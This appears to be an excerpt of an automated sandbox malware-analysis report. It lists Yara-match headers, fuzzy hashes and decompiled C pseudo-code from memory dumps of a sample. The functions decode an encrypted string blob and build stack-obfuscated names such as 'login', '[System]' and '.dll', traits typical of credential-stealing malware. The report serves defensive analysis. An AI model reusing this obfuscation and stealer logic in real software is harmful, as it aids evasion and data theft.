                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: P$r$s$w
                • API String ID: 0-3891800351
                • Opcode ID: 8483e8e780c6f5805c1cae1f997b48587842e4779ee76b24a10ee6047e5e89b8
                • Instruction ID: 41bf241974a6e5f2312175571a82022894a3dd9736a7c938aab12811b3c34e3e
                • Opcode Fuzzy Hash: 8483e8e780c6f5805c1cae1f997b48587842e4779ee76b24a10ee6047e5e89b8
                • Instruction Fuzzy Hash: 215151B1D00218AFDB10DFA5D840BDEBBF5EF48310F14406EE909EB242E7359A41CB99
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 96%
                			E004212AD(char* _a4, intOrPtr _a8) {
                				char _v5;
                				short _v7;
                				char _v11;
                				char _v15;
                				char _v19;
                				char _v23;
                				char _v27;
                				char _v31;
                				char _v32;
                				char _v36;
                				char _v1943;
                				char _v1944;
                				intOrPtr _v1948;
                				intOrPtr _v1952;
                				intOrPtr _v1956;
                				intOrPtr _v1960;
                				intOrPtr _v1964;
                				intOrPtr _v1968;
                				intOrPtr _v1972;
                				intOrPtr _v1976;
                				intOrPtr _v1980;
                				intOrPtr _v1984;
                				intOrPtr _v1988;
                				intOrPtr _v1992;
                				intOrPtr _v1996;
                				intOrPtr _v2000;
                				intOrPtr _v2004;
                				intOrPtr _v2008;
                				intOrPtr _v2012;
                				intOrPtr _v2016;
                				intOrPtr _v2020;
                				intOrPtr _v2024;
                				intOrPtr _v2028;
                				intOrPtr _v2032;
                				intOrPtr _v2036;
                				intOrPtr _v2040;
                				intOrPtr _v2044;
                				intOrPtr _v2048;
                				intOrPtr _v2052;
                				intOrPtr _v2056;
                				intOrPtr _v2060;
                				intOrPtr _v2064;
                				intOrPtr _v2068;
                				intOrPtr _v2072;
                				intOrPtr _v2076;
                				intOrPtr _v2080;
                				char _v2084;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				signed char* _t66;
                				void* _t69;
                				char* _t76;
                				void* _t81;
                				void* _t82;
                				intOrPtr _t84;
                				signed char* _t85;
                				void* _t86;
                				void* _t88;
                
                				_t84 = _a8;
                				if(_t84 < 0x5d) {
                					_push(_t81);
                					_v32 = 0;
                					_v31 = 0;
                					_v27 = 0;
                					_v23 = 0;
                					_v19 = 0;
                					_v15 = 0;
                					_v11 = 0;
                					_v7 = 0;
                					_v5 = 0;
                					_t78 = 0xe7;
                					_v36 = 0x6c6c642e;
                					_v2084 = 0xbee14005;
                					_v2080 = 0xc8066c2a;
                					_v2076 = 0xccdfc1a9;
                					_v2072 = 0xe245063a;
                					_v2068 = 0x3ad226d0;
                					_v2064 = 0x8450707;
                					_v2060 = 0xe0c8cb23;
                					_v2056 = 0x4337a708;
                					_v2052 = 0x57e44962;
                					_v2048 = 0xa6aa08e7;
                					_v2044 = 0x6525dcb0;
                					_v2040 = 0x7b08e760;
                					_v2036 = 0x1eb386be;
                					_v2032 = 0x8e7a01f;
                					_v2028 = 0xefa2d823;
                					_v2024 = 0xe7a01f26;
                					_v2020 = 0xa8fc2209;
                					_v2016 = 0x4f1cc7ee;
                					_v2012 = 0xef094116;
                					_v2008 = 0x8ca89392;
                					_v2004 = 0x4157a323;
                					_v2000 = 0x9f8f1d09;
                					_v1996 = 0xa3269dc3;
                					_v1992 = 0x74094157;
                					_v1988 = 0x507d60c3;
                					_v1984 = 0x41107c91;
                					_v1980 = 0x6357590b;
                					_v1976 = 0x1deab58a;
                					_v1972 = 0xf708ac79;
                					_v1968 = 0x73ade308;
                					_v1964 = 0xa1651ec6;
                					_v1960 = 0xca3d06e7;
                					_v1956 = 0x3ad226c4;
                					_v1952 = 0xb2fc3308;
                					_v1948 = 0x615506cf;
                					_v1944 = 0xe7;
                					E004206CD( &_v1943, 0, 0x773);
                					_t66 =  &_v2084;
                					if(_t84 == 0) {
                						L3:
                						_t52 =  &(_t66[1]); // 0xbee14006
                						_t85 = _t52;
                						_t53 =  &_v36; // 0x6c6c642e
                						_push( *_t66 & 0x000000ff);
                						_push(_t85);
                						L0040FFED( *_t66 & 0x000000ff, _t78, _t81, _t85);
                						_t69 = 0;
                						if( *_t85 == 0) {
                							L5:
                							_t76 = _a4;
                							E0042064D(_t76, _t85, _t69 + 1);
                							_t82 = 0;
                							if( *_t76 == 0) {
                								L7:
                								_t86 = 0;
                								if(_v36 == 0) {
                									L9:
                									if(_t86 != 0) {
                										E0042069D(_t82 + _t76,  &_v36, _t86);
                									}
                									 *((char*)(_t86 + _t82 + _t76)) = 0;
                									return 1;
                								} else {
                									goto L8;
                								}
                								do {
                									L8:
                									_t86 = _t86 + 1;
                								} while ( *((char*)(_t88 + _t86 - 0x20)) != 0);
                								goto L9;
                							} else {
                								goto L6;
                							}
                							do {
                								L6:
                								_t82 = _t82 + 1;
                							} while ( *((char*)(_t82 + _t76)) != 0);
                							goto L7;
                						} else {
                							goto L4;
                						}
                						do {
                							L4:
                							_t69 = _t69 + 1;
                						} while (_t85[_t69] != 0);
                						goto L5;
                					} else {
                						goto L2;
                					}
                					do {
                						L2:
                						_t84 = _t84 - 1;
                						_t78 =  *_t66 & 0x000000ff;
                						_t66 =  &(_t66[( *_t66 & 0x000000ff) + 1]);
                					} while (_t84 != 0);
                					goto L3;
                				}
                				return 0;
                			}






























































                0x004212b7
                0x004212bf
                0x004212c6
                0x004212cd
                0x004212d0
                0x004212d3
                0x004212d6
                0x004212d9
                0x004212dc
                0x004212df
                0x004212e2
                0x004212e6
                0x004212ef
                0x004212f2
                0x004212f9
                0x00421303
                0x0042130d
                0x00421317
                0x00421321
                0x0042132b
                0x00421335
                0x0042133f
                0x00421349
                0x00421353
                0x0042135d
                0x00421367
                0x00421371
                0x0042137b
                0x00421385
                0x0042138f
                0x00421399
                0x004213a3
                0x004213ad
                0x004213b7
                0x004213c1
                0x004213cb
                0x004213d5
                0x004213df
                0x004213e9
                0x004213f3
                0x004213fd
                0x00421407
                0x00421411
                0x0042141b
                0x00421425
                0x0042142f
                0x00421439
                0x00421443
                0x0042144d
                0x00421457
                0x0042145d
                0x00421465
                0x0042146d
                0x00421479
                0x00421479
                0x00421479
                0x0042147f
                0x00421483
                0x00421484
                0x00421485
                0x0042148a
                0x00421491
                0x0042149a
                0x0042149a
                0x004214a1
                0x004214a9
                0x004214ae
                0x004214b7
                0x004214b7
                0x004214bd
                0x004214c7
                0x004214c9
                0x004214d4
                0x004214d9
                0x004214df
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x004214bf
                0x004214bf
                0x004214bf
                0x004214c0
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x004214b0
                0x004214b0
                0x004214b0
                0x004214b1
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x00421493
                0x00421493
                0x00421493
                0x00421494
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x0042146f
                0x0042146f
                0x0042146f
                0x00421470
                0x00421473
                0x00421473
                0x00000000
                0x0042146f
                0x004214ed

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: .dll$.dll$WAt$bIW
                • API String ID: 0-4102820332
                • Opcode ID: e78648e3b9c835cd23e735892a639b5d849a18ac143b3faa17d6db4fd99f24ad
                • Instruction ID: 146448af3c3846bf3c20519cee317527461448d26f4774a4ca96ada4bd9aa2be
                • Opcode Fuzzy Hash: e78648e3b9c835cd23e735892a639b5d849a18ac143b3faa17d6db4fd99f24ad
                • Instruction Fuzzy Hash: BD5166B0C092699EDB619F519C01BEEBBB4FF16304F4485EAC48CAB201D77C2A85CF95
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 97%
                			E00412BAD(intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
                				short _v8;
                				intOrPtr _v12;
                				char _v16;
                				char _v20;
                				signed int _t39;
                				intOrPtr _t57;
                				void* _t69;
                				signed int _t70;
                				intOrPtr _t72;
                				void* _t73;
                				void* _t74;
                				void* _t75;
                				void* _t76;
                
                				_t57 = _a12;
                				_t72 = _a8;
                				if(_a16 != 0) {
                					 *((intOrPtr*)(_t72 + 0x7cc)) =  *((intOrPtr*)(_t57 + 8));
                				}
                				_t69 = _t72 + 0x3fe4;
                				E0042067D(_t69, 0x40);
                				_push(_t69);
                				_t39 = E004129CD(_t72, _t57);
                				_t74 = _t73 + 0x14;
                				if(_t39 != 0) {
                					L11:
                					return _t39;
                				} else {
                					E00412AED(_t72, _t57, _t69);
                					_t39 =  *(_t72 + 0x3ebc);
                					_t75 = _t74 + 0xc;
                					if(_t39 <= 0) {
                						goto L11;
                					} else {
                						E0042064D(_t72 + 0x3fe4 + _t39 * 2, _t72 + 0x3edc, 4);
                						 *(_t72 + 0x3ebc) =  *(_t72 + 0x3ebc) + 2;
                						_t76 = _t75 + 0xc;
                						_t58 = _t72 + 0x4464;
                						_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t72 + 0xcbc))))( *((intOrPtr*)( *((intOrPtr*)(_t72 + 0xcc0))))(_t72 + 0x4464, 0x104));
                						if(_t70 <= 0x40) {
                							if(_t70 == 0) {
                								_v20 = 0x6e0055;
                								_v16 = 0x6e006b;
                								_v12 = 0x77006f;
                								_v8 = 0x6e;
                								E0042064D(_t58,  &_v20, 0x10);
                								_t76 = _t76 + 0xc;
                								_t70 = 7;
                							}
                						} else {
                							 *((short*)(_t72 + 0x44e4)) = 0;
                							_t70 = 0x40;
                						}
                						if(E0042095D(_t58, _t72 + 0x486c, _t70 + _t70) != 0) {
                							return E0041270D(_t72, 2);
                						}
                						_v16 = 0xa000d;
                						_v12 = 0xa000d;
                						_v8 = 0;
                						E0042064D(_t72 + 0x486c, _t58, _t70 + _t70);
                						E0042064D(_t72 + 0x4864,  &_v16, 8);
                						E0042064D(_t72 + 0x486c + _t70 * 2,  &_v16, 4);
                						 *((intOrPtr*)(_t72 + 0x3ee0)) = _t70 + 6;
                						return E0041270D(_t72, 4);
                					}
                				}
                			}
















                0x00412bb8
                0x00412bbc
                0x00412bc0
                0x00412bc5
                0x00412bc5
                0x00412bcb
                0x00412bd4
                0x00412bd9
                0x00412bdc
                0x00412be1
                0x00412be6
                0x00412d19
                0x00412d19
                0x00412bec
                0x00412bef
                0x00412bf4
                0x00412bfa
                0x00412bff
                0x00000000
                0x00412c05
                0x00412c16
                0x00412c21
                0x00412c28
                0x00412c30
                0x00412c42
                0x00412c47
                0x00412c59
                0x00412c62
                0x00412c69
                0x00412c70
                0x00412c77
                0x00412c7e
                0x00412c83
                0x00412c86
                0x00412c86
                0x00412c49
                0x00412c4b
                0x00412c52
                0x00412c52
                0x00412ca1
                0x00000000
                0x00412d10
                0x00412cb1
                0x00412cb8
                0x00412cbf
                0x00412cc3
                0x00412cd5
                0x00412ce8
                0x00412cf3
                0x00412d07
                0x00412d07
                0x00412bff

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: U$k$n$o
                • API String ID: 0-3751959358
                • Opcode ID: 12de433375da3ee969b0f3153f9f1ffe12b8e8eb7655e372e44f86fea991961f
                • Instruction ID: aff6aa8f7bb35390ae197b52fd7c8a32dbb0a4d50dac025af7edbcd435dfd887
                • Opcode Fuzzy Hash: 12de433375da3ee969b0f3153f9f1ffe12b8e8eb7655e372e44f86fea991961f
                • Instruction Fuzzy Hash: F941F9B2900304A7D721DF66DC81FDFB3ECAF84304F00485EE61997141E7B466588BA9
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 50%
                			E00433BFD(void* __fp0, intOrPtr _a4, intOrPtr _a8, char _a12) {
                				short _v8;
                				intOrPtr _v12;
                				char _v16;
                				char _v534;
                				char _v536;
                				char _v1054;
                				char _v1056;
                				void* __ebx;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				signed int _t34;
                				signed int _t36;
                				intOrPtr _t42;
                				intOrPtr _t56;
                				intOrPtr _t58;
                				void* _t60;
                
                				_t42 = _a8;
                				if(_t42 == 0) {
                					L5:
                					return 0;
                				} else {
                					_t2 =  &_a12; // 0x432f30
                					_t56 =  *_t2;
                					if(_t56 == 0) {
                						goto L5;
                					} else {
                						_push(0x206);
                						_push(0);
                						_push( &_v534);
                						_v16 = 0x7a002e;
                						_v12 = 0x700069;
                						_v8 = 0;
                						_v536 = 0;
                						L004494CD();
                						_push(0x206);
                						_push(0);
                						_push( &_v1054);
                						_v1056 = 0;
                						L004494CD();
                						_t58 = _a4;
                						E0043923D(_t58,  &_v536, 4, 0);
                						_t34 = E0043923D(_t58,  &_v1056, 4, 0);
                						_push( &_v536);
                						L0044973D();
                						 *((short*)(_t60 + _t34 * 2 - 0x214)) = 0x5c;
                						_push(E0043864D(_t34, 5, 8) & 0x000000ff);
                						_t36 =  &_v536;
                						_push(_t36);
                						L0044973D();
                						_push(_t60 + _t36 * 2 - 0x214);
                						L0044A3FD();
                						_push(0);
                						_push( &_v16);
                						_push( &_v536);
                						L004498AD();
                						_push(0);
                						_push(0x1c);
                						_push( &_v536);
                						_push(_t58);
                						 *((intOrPtr*)(_t58 + 0xb34)) = _t42;
                						 *((intOrPtr*)(_t58 + 0xb38)) = _t56;
                						if(E00442DFD( &_v536,  &_v536) != 0) {
                							_push( &_v1056);
                							_push( &_v536);
                							_push(_t58);
                							L0043972D( &_v536, _t42,  &_v536,  &_v1056, _t56, _t58, __fp0);
                							 *((intOrPtr*)( *((intOrPtr*)(_t58 + 0x7d8)) + 0x2038)) = 1;
                						}
                						return 0;
                					}
                				}
                			}




















                0x00433c07
                0x00433c0d
                0x00433d3a
                0x00433d40
                0x00433c13
                0x00433c13
                0x00433c13
                0x00433c18
                0x00000000
                0x00433c1e
                0x00433c21
                0x00433c26
                0x00433c2f
                0x00433c30
                0x00433c37
                0x00433c3e
                0x00433c42
                0x00433c49
                0x00433c50
                0x00433c55
                0x00433c5c
                0x00433c5d
                0x00433c64
                0x00433c69
                0x00433c78
                0x00433c89
                0x00433c94
                0x00433c95
                0x00433ca3
                0x00433cb6
                0x00433cb7
                0x00433cbd
                0x00433cbe
                0x00433ccd
                0x00433cce
                0x00433cd3
                0x00433cd8
                0x00433cdf
                0x00433ce0
                0x00433ce5
                0x00433ce7
                0x00433cef
                0x00433cf0
                0x00433cf1
                0x00433cf7
                0x00433d07
                0x00433d0f
                0x00433d16
                0x00433d17
                0x00433d18
                0x00433d26
                0x00433d26
                0x00433d38
                0x00433d38
                0x00433c18

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $.$0/C$i
                • API String ID: 0-3136717569
                • Opcode ID: c0449634c0f080324e2c60f816ec84021fb834e19c8427ed3e1115c45edfae79
                • Instruction ID: 7e834138f36d822072547e136253c56f9744b9e9c427bb684f2fad64d61e1d20
                • Opcode Fuzzy Hash: c0449634c0f080324e2c60f816ec84021fb834e19c8427ed3e1115c45edfae79
                • Instruction Fuzzy Hash: 7631FCB194031CAAE720EF55DC86FDF73789F44704F0084AEB60D97181D7796B458B6A
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 76%
                			E004165AD(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                				intOrPtr _v8;
                				char _v12;
                				short _v16;
                				intOrPtr _v20;
                				char _v24;
                				char _v1046;
                				char _v1048;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				void* _t36;
                				void* _t41;
                				void* _t46;
                				void* _t51;
                				void* _t69;
                				void* _t73;
                
                				_v1048 = 0;
                				E004206CD( &_v1046, 0, 0x3fe);
                				_push(1);
                				_push(8);
                				_push( &_v1048);
                				_push(_a4);
                				_v12 = 0x200022;
                				_v8 = 0x22;
                				_v24 = 0x200022;
                				_v20 = 0x56002f;
                				_v16 = 0;
                				L0041043D(0,  &_v1048, _t69, _a4);
                				_t36 = E0042093D(_a8);
                				E0042064D(_t73 + E0042093D( &_v1048) * 2 - 0x414, _a8, _t36 + _t36);
                				_t41 = E0042093D( &_v12);
                				E0042064D(_t73 + E0042093D( &_v1048) * 2 - 0x414,  &_v12, _t41 + _t41);
                				_t46 = E0042093D(_a12);
                				E0042064D(_t73 + E0042093D( &_v1048) * 2 - 0x414, _a12, _t46 + _t46);
                				_t51 = E0042093D( &_v24);
                				E0042064D(_t73 + E0042093D( &_v1048) * 2 - 0x414,  &_v24, _t51 + _t51);
                				return E00411CDD(_a4,  &_v1048);
                			}



















                0x004165c7
                0x004165ce
                0x004165d6
                0x004165d8
                0x004165e0
                0x004165e3
                0x004165e4
                0x004165eb
                0x004165f2
                0x004165f9
                0x00416600
                0x00416604
                0x0041660d
                0x00416630
                0x00416639
                0x0041665f
                0x00416668
                0x0041668b
                0x00416694
                0x004166ba
                0x004166d4

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: "$"$"$/
                • API String ID: 0-2899491479
                • Opcode ID: dcd45fd56ce6052cdd3a4abd94538458e6868c7df6fbd488027615b023e2eb43
                • Instruction ID: 4ac74a6315704f6698b1795678d57a5bdc646d008ce7376b7c7c660fc3487a00
                • Opcode Fuzzy Hash: dcd45fd56ce6052cdd3a4abd94538458e6868c7df6fbd488027615b023e2eb43
                • Instruction Fuzzy Hash: 103164F2D001186ADB10EBA5ED42EEF73BC9F84304F4045AAB60596143E6759794CFAA
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 73%
                			E004362AD(signed int _a4, intOrPtr* _a8) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				signed int _t30;
                				unsigned int _t33;
                				intOrPtr _t44;
                				unsigned int _t48;
                				intOrPtr* _t51;
                
                				_t51 = _a8;
                				_push(0x22c);
                				_push(_t51);
                				_v24 = 0x53005b;
                				_v20 = 0x730079;
                				_v16 = 0x650074;
                				_v12 = 0x5d006d;
                				_v8 = 0;
                				L0044947D();
                				_t30 = _a4;
                				 *_t51 = 0x22c;
                				 *((intOrPtr*)(_t51 + 4)) = 0;
                				 *((intOrPtr*)(_t51 + 8)) =  *((intOrPtr*)(_t30 + 0x44));
                				 *((intOrPtr*)(_t51 + 0xc)) = 0;
                				 *((intOrPtr*)(_t51 + 0x10)) = 0;
                				 *((intOrPtr*)(_t51 + 0x14)) =  *((intOrPtr*)(_t30 + 4));
                				 *((intOrPtr*)(_t51 + 0x18)) =  *((intOrPtr*)(_t30 + 0x48));
                				 *((intOrPtr*)(_t51 + 0x1c)) =  *((intOrPtr*)(_t30 + 0x40));
                				 *((intOrPtr*)(_t51 + 0x20)) = 0;
                				_t44 =  *((intOrPtr*)(_t30 + 0x3c));
                				if(_t44 == 0) {
                					_push( &_v24);
                					L0044973D();
                					_push(_t30 + _t30 * 2);
                					_push( &_v24);
                					_push(_t51 + 0x24);
                					L0044944D();
                					return 1;
                				} else {
                					_t33 =  *(_t30 + 0x38) & 0x0000ffff;
                					_t48 = _t33;
                					if(_t33 >= 0x206) {
                						_t48 = 0x206;
                					}
                					_push(_t48);
                					_push(_t44);
                					_t22 = _t51 + 0x24; // 0x24
                					L0044944D();
                					 *((short*)(_t51 + 0x24 + (_t48 >> 1) * 2)) = 0;
                					return 1;
                				}
                			}













                0x004362b4
                0x004362b9
                0x004362be
                0x004362bf
                0x004362c6
                0x004362cd
                0x004362d4
                0x004362db
                0x004362df
                0x004362e4
                0x004362e9
                0x004362ef
                0x004362f5
                0x004362f8
                0x004362fb
                0x00436301
                0x00436307
                0x0043630d
                0x00436310
                0x00436313
                0x0043631b
                0x00436355
                0x00436356
                0x0043635e
                0x00436362
                0x00436366
                0x00436367
                0x00436378
                0x0043631d
                0x0043631d
                0x00436327
                0x0043632c
                0x0043632e
                0x0043632e
                0x00436330
                0x00436331
                0x00436332
                0x00436336
                0x00436342
                0x00436351
                0x00436351

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: [$m$t$y
                • API String ID: 0-3854059060
                • Opcode ID: d9d301460de838f0827e07f0d3057d692bd3023f32e45640f655eea093a8df9d
                • Instruction ID: 315e78f7ff057a887d0b522508f8208f8cd7dc351cab2f6aecdbe10ca44fe5f0
                • Opcode Fuzzy Hash: d9d301460de838f0827e07f0d3057d692bd3023f32e45640f655eea093a8df9d
                • Instruction Fuzzy Hash: 7721BDB1900704AFC724DF5AD4448ABB7F5EF88300F10866EE84A9B311E7B5EA418BD4
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 77%
                			E0041086D(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
                				intOrPtr _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				char _v36;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				signed int _t23;
                				void* _t24;
                				void* _t28;
                				intOrPtr _t34;
                				void* _t38;
                				intOrPtr _t42;
                
                				_t42 = _a8;
                				_push(_t38);
                				_push(0);
                				_push(3);
                				_push(_t42);
                				_push(_a4);
                				L0041043D(__ecx, __edx, _t38, _t42);
                				_t23 = E0042093D(_t42);
                				_t39 = _a12;
                				 *((intOrPtr*)(_t42 + _t23 * 2)) = 0x5c;
                				_t24 = E0042093D(_a12);
                				_t28 = E0042064D(_t42 + E0042093D(_t42) * 2, _a12, _t24 + _t24);
                				_t34 = _a16;
                				if(_t34 != 0) {
                					_v36 = 0x6f006c;
                					_v32 = 0x2e0067;
                					_v28 = 0x6e0069;
                					_v24 = 0x69;
                					_v20 = 0;
                					_v16 = 0;
                					_v12 = 0;
                					_v8 = 0;
                					if(_t34 == 2) {
                						_v36 = 0x73;
                					}
                					 *((short*)(_t42 + E0042093D(_t42) * 2)) = 0x5c;
                					E00420AAD(_t42, _t39, 3);
                					_t28 = E00420AAD(_t42,  &_v36, 0);
                				}
                				return _t28;
                			}




















                0x00410877
                0x0041087a
                0x0041087b
                0x0041087d
                0x0041087f
                0x00410880
                0x00410881
                0x00410887
                0x0041088c
                0x00410890
                0x00410897
                0x004108b0
                0x004108b5
                0x004108bd
                0x004108c1
                0x004108c8
                0x004108cf
                0x004108d6
                0x004108dd
                0x004108e0
                0x004108e3
                0x004108e6
                0x004108ec
                0x004108f3
                0x004108f3
                0x00410906
                0x0041090a
                0x00410916
                0x0041091b
                0x00410923

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: g$i$i$l
                • API String ID: 0-114883354
                • Opcode ID: fa2b8738f4f81714c0807a3a089be8117d826bc95c57d7f24b474c53bbf9c8c3
                • Instruction ID: 2b5738bbe0f4b0e827b2f39e5d6bed0f380d8f2066307819f8a21bbe7ac79f4a
                • Opcode Fuzzy Hash: fa2b8738f4f81714c0807a3a089be8117d826bc95c57d7f24b474c53bbf9c8c3
                • Instruction Fuzzy Hash: 841187B1E11224AAEB10AF59EC11FAF77FC9F45704F40001EF905A7242D7B95650CBA9
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E0042191D(void* __eflags, intOrPtr _a4) {
                				intOrPtr _v8;
                				char _v12;
                				intOrPtr _v16;
                				char _v20;
                				void* _t11;
                
                				_t13 = _a4;
                				_v12 = 0x500041;
                				_v8 = 0x2d0049;
                				_v20 = 0x53004d;
                				_v16 = 0x57002d;
                				if(E0042095D(_a4,  &_v12, 8) != 0) {
                					L3:
                					return 1;
                				} else {
                					_t11 = E0042095D(_t13,  &_v20, 8);
                					if(_t11 != 0) {
                						goto L3;
                					} else {
                						return _t11;
                					}
                				}
                			}








                0x00421924
                0x0042192e
                0x00421935
                0x0042193c
                0x00421943
                0x00421954
                0x0042196e
                0x00421977
                0x00421956
                0x0042195d
                0x00421967
                0x00000000
                0x0042196d
                0x0042196d
                0x0042196d
                0x00421967

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: -$A$I$M
                • API String ID: 0-1664541526
                • Opcode ID: 2b0b5aad3a744cffe222878982a313b2d33453f36bb32666dc267a1f3269700c
                • Instruction ID: 760359fa4f2637aefe18c466ed2ccf511c61756d3260b906f941ab9d65d9af4b
                • Opcode Fuzzy Hash: 2b0b5aad3a744cffe222878982a313b2d33453f36bb32666dc267a1f3269700c
                • Instruction Fuzzy Hash: EAF089B1E01228A6DB10DA996C057EE7BECAB15304F404197EC08A7242E7F59E9987D5
                Uniqueness

                Uniqueness Score: -1.00%